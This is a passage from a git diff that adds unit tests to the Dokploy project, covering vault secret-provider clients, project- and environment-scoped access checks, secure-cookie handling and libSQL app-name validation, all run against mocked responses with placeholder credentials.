HasInput).input.Names as string[]).length, + ).toBe(10); + expect( + ((send.mock.calls[1]?.[0] as HasInput).input.Names as string[]).length, + ).toBe(1); + expect(result["/prod/database:CURRENT"]).toBe("selected-value"); + expect(result["/prod/secret-9"]).toBe("value-for-/prod/secret-9"); + }); + + it("reports a missing parameter without exposing other values", async () => { + send.mockResolvedValue({ Parameters: [], InvalidParameters: ["/missing"] }); + + await expect( + awsParameterStoreClient.getSecrets(config, ["/missing"]), + ).rejects.toThrow('AWS Parameter Store: parameter "/missing" not found'); + }); + + it("tests the connection within the configured hierarchy", async () => { + send.mockResolvedValue({ Parameters: [] }); + + await awsParameterStoreClient.testConnection({ + ...config, + parameterPath: "/production/my-app/", + }); + + expect(send).toHaveBeenCalledTimes(1); + expect((send.mock.calls[0]?.[0] as HasInput).input).toEqual({ + ParameterFilters: [ + { + Key: "Path", + Option: "Recursive", + Values: ["/production/my-app"], + }, + ], + MaxResults: 1, + }); + }); + + it("explains the discovery permission when connection testing is denied", async () => { + const error = new Error("not authorized"); + error.name = "AccessDeniedException"; + send.mockRejectedValue(error); + + await expect( + awsParameterStoreClient.testConnection(config), + ).rejects.toThrow("ssm:DescribeParameters"); + }); + + it("lists parameter names across pages within the configured hierarchy", async () => { + paginate.mockReturnValue( + (async function* () { + yield { Parameters: [{ Name: "/prod/db" }] }; + yield { Parameters: [{ Name: "/prod/api" }] }; + })(), + ); + + const names = await awsParameterStoreClient.listSecretNames?.({ + ...config, + parameterPath: " /production/my-app/ ", + }); + + expect(names).toEqual(["/prod/db", "/prod/api"]); + expect(paginate).toHaveBeenCalledWith( + expect.objectContaining({ pageSize: 50 }), + { + ParameterFilters: [ + { + Key: "Path", + Option: "Recursive", + Values: ["/production/my-app"], + }, + ], + }, + ); + }); + + it("resolves a vault reference through the registered provider", async () => { + findMany.mockResolvedValue([ + { + name: "ssm-prod", + providerType: "aws-parameter-store", + config, + assignments: [{ projectId: "project-1", environmentIds: [] }], + }, + ]); + send.mockResolvedValue({ + Parameters: [{ Name: "/prod/database-password", Value: "resolved" }], + }); + + const result = await resolveVaultReferences( + "DB_PASSWORD=${{vault.ssm-prod./prod/database-password}}", + { + organizationId: "organization-1", + projectId: "project-1", + environmentId: "environment-1", + }, + ); + + expect(result).toBe("DB_PASSWORD=resolved"); + }); +}); diff --git a/apps/dokploy/__test__/env/vault.test.ts b/apps/dokploy/__test__/env/vault.test.ts new file mode 100644 index 000000000..b1381cd05 --- /dev/null +++ b/apps/dokploy/__test__/env/vault.test.ts @@ -0,0 +1,963 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const findMany = vi.fn(); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + vaultProvider: { + findMany: (...args: unknown[]) => findMany(...args), + }, + }, + }, +})); + +import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils"; +import { + resolveVaultReferences, + withResolvedVaultRefs, +} from "@dokploy/server/utils/vault"; +import { azureClient } from "@dokploy/server/utils/vault/azure"; +import { dopplerClient } from "@dokploy/server/utils/vault/doppler"; +import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp"; +import { infisicalClient } from "@dokploy/server/utils/vault/infisical"; +import { phaseClient } from "@dokploy/server/utils/vault/phase"; +import { scalewayClient } from "@dokploy/server/utils/vault/scaleway"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +beforeEach(() => { + findMany.mockReset(); + mockFetch.mockReset(); +}); + +const scope = { + organizationId: "org-1", + projectId: "proj-1", + environmentId: "env-1", +}; + +const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }]; + +describe("resolveVaultReferences", () => { + it("returns input untouched and skips the db when no refs are present", async () => { + const env = "FOO=bar\nBAZ=${{project.QUX}}"; + const result = await resolveVaultReferences(env, scope); + expect(result).toBe(env); + expect(findMany).not.toHaveBeenCalled(); + }); + + it("returns null/empty inputs unchanged", async () => { + expect(await resolveVaultReferences(null, scope)).toBeNull(); + expect(await resolveVaultReferences("", scope)).toBe(""); + }); + + it("throws when refs exist but no organization context is given", async () => { + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}"), + ).rejects.toThrow("not supported in this context"); + }); + + it("throws for an unknown provider", async () => { + findMany.mockResolvedValue([]); + await expect( + resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope), + ).rejects.toThrow('Vault provider "missing" not found'); + }); + + it("throws when the provider is not assigned to the project", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "other-project", environmentIds: [] }], + }, + ]); + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope), + ).rejects.toThrow("not enabled for this project/environment"); + }); + + it("throws when the provider is restricted to another environment", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [ + { projectId: "proj-1", environmentIds: ["production-env"] }, + ], + }, + ]); + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope), + ).rejects.toThrow("not enabled for this project/environment"); + }); + + it("allows a provider restricted to the matching environment", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }], + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" })); + const result = await resolveVaultReferences( + "FOO=${{vault.prod.SECRET}}", + scope, + ); + expect(result).toBe("FOO=value-1"); + }); + + it("resolves refs through a doppler provider", async () => { + findMany.mockResolvedValue([ + { + name: "doppler-prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue( + jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }), + ); + + const result = await resolveVaultReferences( + "DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}", + scope, + ); + + expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123"); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("throws when the secret is missing in the provider", async () => { + findMany.mockResolvedValue([ + { + name: "doppler-prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" })); + + await expect( + resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope), + ).rejects.toThrow('secret "MISSING" not found'); + }); +}); + +describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => { + it("resolves entity env sources so sync interpolation sees real values", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" })); + + const entity = { + env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db", + environment: { + environmentId: "env-1", + env: null, + project: { + projectId: "proj-1", + env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}", + organizationId: "org-1", + }, + }, + }; + + const resolved = await withResolvedVaultRefs(entity); + const prepared = prepareEnvironmentVariables( + resolved.env, + resolved.environment.project.env, + resolved.environment.env, + ); + + expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]); + }); + + it("resolves buildArgs and buildSecrets when present", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" })); + + const resolved = await withResolvedVaultRefs({ + env: "FOO=bar", + buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}", + buildSecrets: null, + environment: { + environmentId: "env-1", + env: null, + project: { projectId: "proj-1", env: null, organizationId: "org-1" }, + }, + }); + + expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123"); + expect(resolved.buildSecrets).toBeNull(); + expect(resolved.env).toBe("FOO=bar"); + }); + + it.each([ + ["service env", { env: "SECRET=${{vault.locked.X}}" }], + ["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }], + ["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }], + ["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }], + ])( + "rejects a ref to an unassigned provider placed in the %s", + async (_source, overrides) => { + findMany.mockResolvedValue([ + { + name: "locked", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "other-project", environmentIds: [] }], + }, + ]); + + const entity = { + env: (overrides as { env?: string }).env ?? "FOO=bar", + buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null, + environment: { + environmentId: "env-1", + env: + (overrides as { environmentEnv?: string }).environmentEnv ?? null, + project: { + projectId: "proj-1", + env: (overrides as { projectEnv?: string }).projectEnv ?? null, + organizationId: "org-1", + }, + }, + }; + + await expect(withResolvedVaultRefs(entity)).rejects.toThrow( + "not enabled for this project/environment", + ); + expect(mockFetch).not.toHaveBeenCalled(); + }, + ); + + it("rejects a ref restricted to another environment from the environment env", async () => { + findMany.mockResolvedValue([ + { + name: "prod-only", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [ + { projectId: "proj-1", environmentIds: ["production-env"] }, + ], + }, + ]); + + await expect( + withResolvedVaultRefs({ + env: null, + environment: { + environmentId: "dev-env", + env: "SECRET=${{vault.prod-only.X}}", + project: { projectId: "proj-1", env: null, organizationId: "org-1" }, + }, + }), + ).rejects.toThrow("not enabled for this project/environment"); + expect(mockFetch).not.toHaveBeenCalled(); + }); + + it("prepareEnvironmentVariables throws on unresolved vault refs", () => { + expect(() => + prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""), + ).toThrow("Unresolved vault reference"); + }); + + it("keeps working without vault refs", () => { + const prepared = prepareEnvironmentVariables( + "FOO=${{project.BAR}}", + "BAR=baz", + ); + expect(prepared).toEqual(["FOO=baz"]); + expect(findMany).not.toHaveBeenCalled(); + }); +}); + +describe("hashicorp client", () => { + const config = { + providerType: "hashicorp" as const, + url: "https://vault.example.com", + token: "hvs.token", + mount: "secret", + }; + + it("rejects refs without a field", async () => { + await expect( + hashicorpClient.getSecrets(config, ["myapp/prod"]), + ).rejects.toThrow("expected format :"); + }); + + it("groups refs by path and picks fields from KV v2 data", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }), + ); + + const result = await hashicorpClient.getSecrets(config, [ + "myapp/prod:USER", + "myapp/prod:PASS", + ]); + + expect(result).toEqual({ + "myapp/prod:USER": "admin", + "myapp/prod:PASS": "pw", + }); + expect(mockFetch).toHaveBeenCalledTimes(1); + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://vault.example.com/v1/secret/data/myapp/prod", + ); + }); + + it("throws when a field is missing", async () => { + mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } })); + await expect( + hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]), + ).rejects.toThrow('field "MISSING" not found'); + }); + + it("lists full path:field refs by walking directories", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("/metadata?list=true")) { + return jsonResponse({ data: { keys: ["myapp/", "shared"] } }); + } + if (url.includes("/metadata/myapp?list=true")) { + return jsonResponse({ data: { keys: ["prod"] } }); + } + if (url.includes("/data/myapp/prod")) { + return jsonResponse({ + data: { data: { API_KEY: "a", DB_PASSWORD: "b" } }, + }); + } + if (url.includes("/data/shared")) { + return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } }); + } + return jsonResponse({}, false, 404); + }); + + const names = await hashicorpClient.listSecretNames?.(config); + + expect(names).toEqual([ + "myapp/prod:API_KEY", + "myapp/prod:DB_PASSWORD", + "shared:STRIPE_KEY", + ]); + }); +}); + +describe("azure client", () => { + const config = { + providerType: "azure" as const, + vaultUri: "https://my-vault.vault.azure.net", + tenantId: "tenant-1", + clientId: "client-1", + clientSecret: "secret-1", + }; + + it("authenticates and reads secrets by name", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com/tenant-1")) { + return jsonResponse({ access_token: "azure-token" }); + } + if (url.includes("/secrets/db-password?")) { + return jsonResponse({ value: "azure-pw" }); + } + return jsonResponse({}, false, 404); + }); + + const result = await azureClient.getSecrets(config, ["db-password"]); + + expect(result).toEqual({ "db-password": "azure-pw" }); + }); + + it("throws a clear error for missing secrets", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com")) { + return jsonResponse({ access_token: "azure-token" }); + } + return jsonResponse({}, false, 404); + }); + + await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow( + 'secret "nope" not found', + ); + }); + + it("lists secret names from paged results", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com")) { + return jsonResponse({ access_token: "azure-token" }); + } + if (url.includes("skiptoken")) { + return jsonResponse({ + value: [{ id: `${config.vaultUri}/secrets/second` }], + nextLink: null, + }); + } + return jsonResponse({ + value: [{ id: `${config.vaultUri}/secrets/first` }], + nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`, + }); + }); + + const names = await azureClient.listSecretNames?.(config); + + expect(names).toEqual(["first", "second"]); + }); +}); + +describe("infisical client", () => { + const config = { + providerType: "infisical" as const, + siteUrl: "https://app.infisical.com", + clientId: "client-1", + clientSecret: "client-secret", + projectId: "workspace-1", + environmentSlug: "prod", + secretPath: "/frontend", + }; + + const loginResponse = () => jsonResponse({ accessToken: "token-1" }); + const list = (secrets: Record) => + jsonResponse({ + secrets: Object.entries(secrets).map(([secretKey, secretValue]) => ({ + secretKey, + secretValue, + })), + }); + const listPathOf = (callIndex: number) => { + const [url] = mockFetch.mock.calls[callIndex] as [string]; + return new URL(url).searchParams.get("secretPath"); + }; + + it("asks the list endpoint to expand secret references", async () => { + mockFetch + .mockResolvedValueOnce(loginResponse()) + .mockResolvedValueOnce(list({ DB_URL: "postgres://real" })); + + const result = await infisicalClient.getSecrets(config, ["DB_URL"]); + + expect(result).toEqual({ DB_URL: "postgres://real" }); + const [listUrl] = mockFetch.mock.calls[1] as [string]; + const params = new URL(listUrl).searchParams; + expect(params.get("expandSecretReferences")).toBe("true"); + expect(params.get("workspaceId")).toBe("workspace-1"); + expect(params.get("environment")).toBe("prod"); + expect(params.get("secretPath")).toBe("/frontend"); + }); + + it("asks for imported secrets and merges them", async () => { + mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce( + jsonResponse({ + secrets: [], + imports: [ + { + secretPath: "/shared", + secrets: [ + { secretKey: "DB_URL", secretValue: "postgres://imported" }, + ], + }, + ], + }), + ); + + const result = await infisicalClient.getSecrets(config, ["DB_URL"]); + + expect(result).toEqual({ DB_URL: "postgres://imported" }); + const [listUrl] = mockFetch.mock.calls[1] as [string]; + // snake_case on purpose: `includeImports` is silently ignored and the + // response comes back with an empty `imports` array. + expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true"); + }); + + it("lets the later import win when two define the same key", async () => { + mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce( + jsonResponse({ + secrets: [], + imports: [ + { + secretPath: "/base", + secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }], + }, + { + secretPath: "/override", + secrets: [ + { secretKey: "DB_URL", secretValue: "postgres://override" }, + ], + }, + ], + }), + ); + + const result = await infisicalClient.getSecrets(config, ["DB_URL"]); + + // Infisical documents this order: "If two imports carry a secret with the + // same name, the value from the bottom-most import wins." The response + // lists imports in that order, so assigning them in sequence matches it. + expect(result).toEqual({ DB_URL: "postgres://override" }); + }); + + it("lets a folder's own secret win over an imported one of the same name", async () => { + mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce( + jsonResponse({ + secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }], + imports: [ + { + secretPath: "/shared", + secrets: [ + { secretKey: "DB_URL", secretValue: "postgres://imported" }, + ], + }, + ], + }), + ); + + const result = await infisicalClient.getSecrets(config, ["DB_URL"]); + + expect(result).toEqual({ DB_URL: "postgres://local" }); + }); + + it("throws a clear error for a missing secret", async () => { + mockFetch + .mockResolvedValueOnce(loginResponse()) + .mockResolvedValueOnce(jsonResponse({ secrets: [] })); + + await expect( + infisicalClient.getSecrets(config, ["ABSENT"]), + ).rejects.toThrow('secret "ABSENT" not found in environment "prod"'); + }); + + it("propagates authentication failures with the status code", async () => { + mockFetch.mockResolvedValueOnce(jsonResponse({}, false, 401)); + + await expect( + infisicalClient.getSecrets(config, ["DB_URL"]), + ).rejects.toThrow("authentication failed (status 401)"); + }); + + it("resolves a relative : ref against the provider path", async () => { + mockFetch + .mockResolvedValueOnce(loginResponse()) + .mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" })); + + const result = await infisicalClient.getSecrets(config, [ + "shared/sentry:SENTRY_DSN", + ]); + + expect(result).toEqual({ + "shared/sentry:SENTRY_DSN": "https://key@sentry.io/1", + }); + expect(listPathOf(1)).toBe("/frontend/shared/sentry"); + }); + + it("treats a leading slash as an absolute path", async () => { + mockFetch + .mockResolvedValueOnce(loginResponse()) + .mockResolvedValueOnce(list({ SENTRY_DSN: "https://key@sentry.io/1" })); + + await infisicalClient.getSecrets(config, ["/external/sentry:SENTRY_DSN"]); + + expect(listPathOf(1)).toBe("/external/sentry"); + }); + + it("keeps the root path clean when the provider sits at /", async () => { + mockFetch + .mockResolvedValueOnce(loginResponse()) + .mockResolvedValueOnce(list({ KEY: "value" })); + + await infisicalClient.getSecrets({ ...config, secretPath: "/" }, [ + "external/sentry:KEY", + ]); + + expect(listPathOf(1)).toBe("/external/sentry"); + }); + + it("logs in once and fetches each path once", async () => { + const byPath: Record> = { + "/frontend": { A: "a", B: "b" }, + "/frontend/other": { C: "c" }, + }; + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("/auth/universal-auth/login")) return loginResponse(); + const path = new URL(url).searchParams.get("secretPath") as string; + return list(byPath[path] ?? {}); + }); + + const result = await infisicalClient.getSecrets(config, [ + "A", + "B", + "other:C", + ]); + + expect(result).toEqual({ A: "a", B: "b", "other:C": "c" }); + + const urls = mockFetch.mock.calls.map(([url]) => url as string); + expect(urls.filter((u) => u.includes("/login"))).toHaveLength(1); + expect( + urls + .filter((u) => u.includes("/secrets/raw?")) + .map((u) => new URL(u).searchParams.get("secretPath")) + .sort(), + ).toEqual(["/frontend", "/frontend/other"]); + }); + + it("names the path when a secret is missing from an explicit one", async () => { + mockFetch + .mockResolvedValueOnce(loginResponse()) + .mockResolvedValueOnce(list({})); + + await expect( + infisicalClient.getSecrets(config, ["external/sentry:ABSENT"]), + ).rejects.toThrow( + 'secret "ABSENT" not found at "/frontend/external/sentry"', + ); + }); + + it("rejects a ref with an empty path or key", async () => { + await expect(infisicalClient.getSecrets(config, [":KEY"])).rejects.toThrow( + "expected format :", + ); + await expect( + infisicalClient.getSecrets(config, ["external/sentry:"]), + ).rejects.toThrow("expected format :"); + }); +}); + +describe("doppler client", () => { + it("propagates auth errors with the status code", async () => { + mockFetch.mockResolvedValue(jsonResponse({}, false, 401)); + await expect( + dopplerClient.getSecrets( + { providerType: "doppler", serviceToken: "bad" }, + ["FOO"], + ), + ).rejects.toThrow("status 401"); + }); +}); + +describe("scaleway client", () => { + const config = { + providerType: "scaleway" as const, + region: "fr-par", + projectId: "project-1", + secretKey: "scw-secret-key", + apiUrl: "https://api.scaleway.com", + }; + + const accessResponse = (value: string) => + jsonResponse({ + secret_id: "secret-1", + revision: 1, + data: Buffer.from(value).toString("base64"), + }); + + it("reads a secret by name from the root path and decodes the payload", async () => { + mockFetch.mockResolvedValue(accessResponse("postgres://real")); + + const result = await scalewayClient.getSecrets(config, ["db-url"]); + + expect(result).toEqual({ "db-url": "postgres://real" }); + expect(mockFetch).toHaveBeenCalledTimes(1); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toBe( + "https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F", + ); + expect((init.headers as Record)["X-Auth-Token"]).toBe( + "scw-secret-key", + ); + }); + + it("sends the folder of a path-qualified ref as secret_path", async () => { + mockFetch.mockResolvedValue(accessResponse("value")); + + await scalewayClient.getSecrets(config, ["prod/db/password"]); + + expect(mockFetch.mock.calls[0]?.[0]).toContain( + "secret_name=password&secret_path=%2Fprod%2Fdb", + ); + }); + + it("extracts a field from a JSON secret and fetches the secret once", async () => { + mockFetch.mockResolvedValue( + accessResponse(JSON.stringify({ user: "admin", port: 5432 })), + ); + + const result = await scalewayClient.getSecrets(config, [ + "db-creds:user", + "db-creds:port", + ]); + + expect(result).toEqual({ + "db-creds:user": "admin", + "db-creds:port": "5432", + }); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("throws when the secret is not JSON but a field is requested", async () => { + mockFetch.mockResolvedValue(accessResponse("plain-value")); + + await expect( + scalewayClient.getSecrets(config, ["db-creds:user"]), + ).rejects.toThrow("is not JSON"); + }); + + it("throws when the requested field is missing", async () => { + mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" }))); + + await expect( + scalewayClient.getSecrets(config, ["db-creds:password"]), + ).rejects.toThrow('field "password" not found'); + }); + + it("throws a clear error for a missing secret", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ message: "not found" }, false, 404), + ); + + await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow( + 'secret "nope" not found in path "/"', + ); + }); + + it("reports authentication failures with the API message", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ message: "denied authentication" }, false, 403), + ); + + await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow( + "authentication failed (status 403: denied authentication)", + ); + }); + + it("throws when the secret has no enabled version", async () => { + mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" })); + + await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow( + "has no enabled version", + ); + }); + + it("rejects a ref without a secret name", async () => { + await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow( + "expected format or /[:field]", + ); + }); + + it("tests the connection against the secrets listing", async () => { + mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 })); + + await scalewayClient.testConnection(config); + + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1", + ); + }); + + it("lists secret names with their folder prefix", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ + secrets: [ + { id: "1", name: "db-url", path: "/" }, + { id: "2", name: "password", path: "/prod/db" }, + ], + total_count: 2, + }), + ); + + const names = await scalewayClient.listSecretNames?.(config); + + expect(names).toEqual(["db-url", "prod/db/password"]); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("follows pagination until a short page is returned", async () => { + const page = (start: number, size: number) => + jsonResponse({ + secrets: Array.from({ length: size }, (_, index) => ({ + id: String(start + index), + name: `secret-${start + index}`, + path: "/", + })), + }); + mockFetch.mockImplementation(async (url: string) => + url.includes("page=2") ? page(101, 2) : page(1, 100), + ); + + const names = await scalewayClient.listSecretNames?.(config); + + expect(names).toHaveLength(102); + expect(mockFetch).toHaveBeenCalledTimes(2); + }); + + it("resolves env refs end to end through a scaleway provider", async () => { + findMany.mockResolvedValue([ + { + name: "scw-prod", + providerType: "scaleway", + config, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(accessResponse("s3cret")); + + const result = await resolveVaultReferences( + "DB_PASSWORD=${{vault.scw-prod.prod/db-password}}", + scope, + ); + + expect(result).toBe("DB_PASSWORD=s3cret"); + }); +}); + +describe("phase client", () => { + const config = { + providerType: "phase" as const, + token: "phase-rest-token", + appId: "app-123", + env: "Production", + path: "/", + apiUrl: "https://api.phase.dev", + }; + + it("fetches secrets by key and sends ServiceAccount auth", async () => { + mockFetch.mockResolvedValue( + jsonResponse([ + { key: "DB_URL", value: "postgres://real", path: "/" }, + { key: "API_KEY", value: "key-123", path: "/" }, + ]), + ); + + const result = await phaseClient.getSecrets(config, ["DB_URL", "API_KEY"]); + + expect(result).toEqual({ DB_URL: "postgres://real", API_KEY: "key-123" }); + expect(mockFetch).toHaveBeenCalledTimes(1); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toBe( + "https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F", + ); + expect((init.headers as Record).Authorization).toBe( + "Bearer ServiceAccount phase-rest-token", + ); + }); + + it("throws when a requested secret is missing", async () => { + mockFetch.mockResolvedValue( + jsonResponse([{ key: "DB_URL", value: "postgres://real", path: "/" }]), + ); + + await expect(phaseClient.getSecrets(config, ["MISSING"])).rejects.toThrow( + 'secret "MISSING" not found in environment "Production"', + ); + }); + + it("reports authentication failures with the status code", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ error: "unauthorized" }, false, 401), + ); + + await expect(phaseClient.getSecrets(config, ["DB_URL"])).rejects.toThrow( + "authentication failed (status 401: unauthorized)", + ); + }); + + it("rejects apps without SSE enabled during testConnection", async () => { + mockFetch.mockResolvedValueOnce( + jsonResponse({ + id: "app-123", + name: "My App", + sseEnabled: false, + }), + ); + + await expect(phaseClient.testConnection(config)).rejects.toThrow( + "enable Server-side Encryption (SSE)", + ); + expect(mockFetch).toHaveBeenCalledTimes(1); + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://api.phase.dev/v1/apps/app-123/", + ); + }); + + it("tests connection against the app then secrets listing", async () => { + mockFetch + .mockResolvedValueOnce( + jsonResponse({ + id: "app-123", + name: "My App", + sseEnabled: true, + }), + ) + .mockResolvedValueOnce(jsonResponse([])); + + await phaseClient.testConnection(config); + + expect(mockFetch).toHaveBeenCalledTimes(2); + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://api.phase.dev/v1/apps/app-123/", + ); + expect(mockFetch.mock.calls[1]?.[0]).toBe( + "https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F", + ); + }); + + it("lists secret names from the configured path", async () => { + mockFetch.mockResolvedValue( + jsonResponse([ + { key: "DB_URL", value: "x", path: "/" }, + { key: "API_KEY", value: "y", path: "/" }, + ]), + ); + + const names = await phaseClient.listSecretNames?.(config); + + expect(names).toEqual(["DB_URL", "API_KEY"]); + }); + + it("resolves env refs end to end through a phase provider", async () => { + findMany.mockResolvedValue([ + { + name: "phase-prod", + providerType: "phase", + config, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue( + jsonResponse([{ key: "DB_PASSWORD", value: "s3cret", path: "/" }]), + ); + + const result = await resolveVaultReferences( + "DB_PASSWORD=${{vault.phase-prod.DB_PASSWORD}}", + scope, + ); + + expect(result).toBe("DB_PASSWORD=s3cret"); + }); +}); diff --git a/apps/dokploy/__test__/lib/secure-cookies.test.ts b/apps/dokploy/__test__/lib/secure-cookies.test.ts new file mode 100644 index 000000000..c47633b4a --- /dev/null +++ b/apps/dokploy/__test__/lib/secure-cookies.test.ts @@ -0,0 +1,46 @@ +import { describe, expect, it } from "vitest"; +import { isHttpsRequest, secureSetCookie } from "@/lib/secure-cookies"; + +describe("isHttpsRequest", () => { + it("returns true when X-Forwarded-Proto is https", () => { + expect(isHttpsRequest("https")).toBe(true); + }); + + it("returns false for http or a missing header", () => { + expect(isHttpsRequest("http")).toBe(false); + expect(isHttpsRequest(undefined)).toBe(false); + }); + + it("uses the left-most value of a proxy chain", () => { + expect(isHttpsRequest("https, http")).toBe(true); + expect(isHttpsRequest("http, https")).toBe(false); + }); + + it("handles an array header value and is case-insensitive", () => { + expect(isHttpsRequest(["HTTPS", "http"])).toBe(true); + }); +}); + +describe("secureSetCookie", () => { + it("adds Secure to a cookie that lacks it", () => { + expect( + secureSetCookie("better-auth.session_token=abc; Path=/; HttpOnly"), + ).toBe("better-auth.session_token=abc; Path=/; HttpOnly; Secure"); + }); + + it("does not duplicate Secure when already present", () => { + const cookie = "better-auth.session_token=abc; Path=/; Secure; HttpOnly"; + expect(secureSetCookie(cookie)).toBe(cookie); + }); + + it("applies to every cookie in an array", () => { + expect(secureSetCookie(["a=1; Path=/", "b=2; Path=/; Secure"])).toEqual([ + "a=1; Path=/; Secure", + "b=2; Path=/; Secure", + ]); + }); + + it("passes a numeric header value through untouched", () => { + expect(secureSetCookie(123)).toBe(123); + }); +}); diff --git a/apps/dokploy/__test__/libsql/create-schema.test.ts b/apps/dokploy/__test__/libsql/create-schema.test.ts new file mode 100644 index 000000000..c8e398079 --- /dev/null +++ b/apps/dokploy/__test__/libsql/create-schema.test.ts @@ -0,0 +1,66 @@ +import { apiCreateLibsql } from "@dokploy/server/db/schema"; +import { APP_NAME_MESSAGE } from "@dokploy/server/db/schema/utils"; +import { describe, expect, it } from "vitest"; + +describe("apiCreateLibsql appName", () => { + const validBase = { + name: "My libSQL", + dockerImage: "ghcr.io/tursodatabase/libsql-server:v0.24.32", + environmentId: "env-1", + description: null, + databaseUser: "admin", + databasePassword: "secretPassword1", + sqldNode: "primary" as const, + sqldPrimaryUrl: null, + enableNamespaces: false, + serverId: null, + }; + + it.each([ + ["a space", "my libsql"], + ["an at sign", "repro@lib"], + ["a slash", "team/libsql"], + ["a colon", "libsql:1"], + 